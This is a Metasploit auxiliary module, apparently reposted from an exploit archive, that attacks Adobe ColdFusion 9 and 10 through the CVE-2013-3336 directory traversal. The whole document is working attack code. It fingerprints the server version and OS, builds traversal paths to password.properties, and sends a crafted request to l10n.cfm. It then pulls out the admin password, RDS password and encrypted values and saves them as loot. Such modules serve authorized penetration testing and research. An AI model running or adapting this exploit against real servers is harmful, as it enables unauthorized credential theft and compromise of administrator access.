Share
## https://sploitus.com/exploit?id=PACKETSTORM:180681
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "ColdFusion 'password.properties' Hash Extraction",  
'Description' => %q{  
This module uses a directory traversal vulnerability to extract information  
such as password, rdspassword, and "encrypted" properties. This module has been  
tested successfully on ColdFusion 9 and ColdFusion 10 (auto-detect).  
},  
'References' =>  
[  
[ 'CVE', '2013-3336' ],  
[ 'OSVDB', '93114' ],  
[ 'EDB', '25305' ]  
],  
'Author' =>  
[  
'HTP',  
'sinn3r',  
'nebulus'  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2013-05-07' #The day we saw the subzero poc  
))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])  
])  
end  
  
def fingerprint(response)  
  
if(response.headers.has_key?('Server') )  
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)  
os = "Windows (#{response.headers['Server']})"  
elsif(response.headers['Server'] =~ /Apache\//)  
os = "Unix (#{response.headers['Server']})"  
else  
os = response.headers['Server']  
end  
end  
  
return nil if response.body.length < 100  
  
title = "Not Found"  
response.body.gsub!(/[\r\n]/, '')  
if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)  
title = $1  
title.gsub!(/\s/, '')  
end  
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)  
  
out = nil  
  
if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)  
v = $1  
out = (v =~ /^6/) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"  
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )  
out = "Adobe ColdFusion MX7 (Not Vulnerable)"  
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)  
out = "Adobe ColdFusion 8 (Not Vulnerable)"  
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and  
response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)  
out = "Adobe ColdFusion 10"  
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or  
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)  
out = "Adobe ColdFusion 9"  
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)  
out = $1.split(/,/)[0]  
else  
out = 'Unknown ColdFusion'  
end  
  
if(title.downcase == 'coldfusionadministrator')  
out << " (you have administrator access)"  
end  
  
out << " (#{os})"  
file = ''  
trav = ''  
if(os =~ /Windows/ )  
trav = '..\..\..\..\..\..\..\..\..\..'  
file = (out =~ /ColdFusion 9/) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'  
else  
trav = '../../../../../../../../../..'  
file = (out =~ /ColdFusion 9/) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'  
end  
  
if(response.body =~ /Adobe/ and response.body =~ /ColdFusion/ and file == '')  
print_error("#{peer} Fingerprint failed...aborting")  
print_status("response: #{response.body}")  
return nil,nil  
end  
  
return out,"#{trav}#{file}"  
end  
  
def check  
if check_cf  
return Msf::Exploit::CheckCode::Vulnerable  
end  
  
Msf::Exploit::CheckCode::Safe  
end  
  
def check_cf  
vuln = false  
url = '/CFIDE/adminapi/customtags/l10n.cfm'  
res = send_request_cgi({  
'uri' => url,  
'method' => 'GET',  
'Connection' => "keep-alive",  
'Accept-Encoding' => "zip,deflate",  
})  
  
if(res != nil)  
# can't stack b/c res.code won't exist if res is nil  
vuln = true if(res.code == 500 and res.body =~ /attributes\.id was not provided/)  
end  
  
if(vuln)  
url = '/CFIDE/administrator/mail/download.cfm'  
res = send_request_cgi({  
'uri' => url,  
'method' => 'GET',  
'Connection' => "keep-alive",  
'Accept-Encoding' => "zip,deflate",  
})  
if(res != nil)  
vuln = false if (res.code != 200)  
end  
end  
  
return vuln  
end  
  
  
def run  
filename = ""  
  
url = '/CFIDE/administrator/index.cfm'  
# print_status("Getting index...")  
res = send_request_cgi({  
'uri' => url,  
'method' => 'GET',  
'Connection' => "keep-alive",  
'Accept-Encoding' => "zip,deflate",  
})  
# print_status("Got back: #{res.inspect}")  
return if not res  
return if not res.body or not res.code  
return if not res.code.to_i == 200  
  
out, filename = fingerprint(res)  
print_status("#{peer} #{out}") if out  
  
if(out =~ /Not Vulnerable/)  
print_status("#{peer} isn't vulnerable to this attack")  
return  
end  
  
if(not check_cf)  
print_status("#{peer} can't be exploited (either files missing or permissions block access)")  
return  
end  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),  
'encode_params' => false,  
'encode' => false,  
'vars_get' => {  
'attributes.id' => 'it',  
'attributes.file' => '../../administrator/mail/download.cfm',  
'filename' => filename,  
'attributes.locale' => 'it',  
'attributes.var' => 'it',  
'attributes.jscript' => 'false',  
'attributes.type' => 'text/html',  
'attributes.charset' => 'UTF-8',  
'thisTag.executionmode' => 'end',  
'thisTag.generatedContent' => 'htp'  
}  
})  
  
if res.nil?  
print_error("Unable to receive a response")  
return  
end  
  
rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''  
password = res.body.scan(/^password=(.+)/).flatten[0] || ''  
encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || ''  
  
if rdspass.empty? and password.empty?  
# No pass collected, no point to store anything  
print_error("No passwords found")  
return  
end  
  
print_good("rdspassword = #{rdspass}")  
print_good("password = #{password}")  
print_good("encrypted = #{encrypted}")  
  
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)  
print_good("password.properties stored in '#{p}'")  
end  
end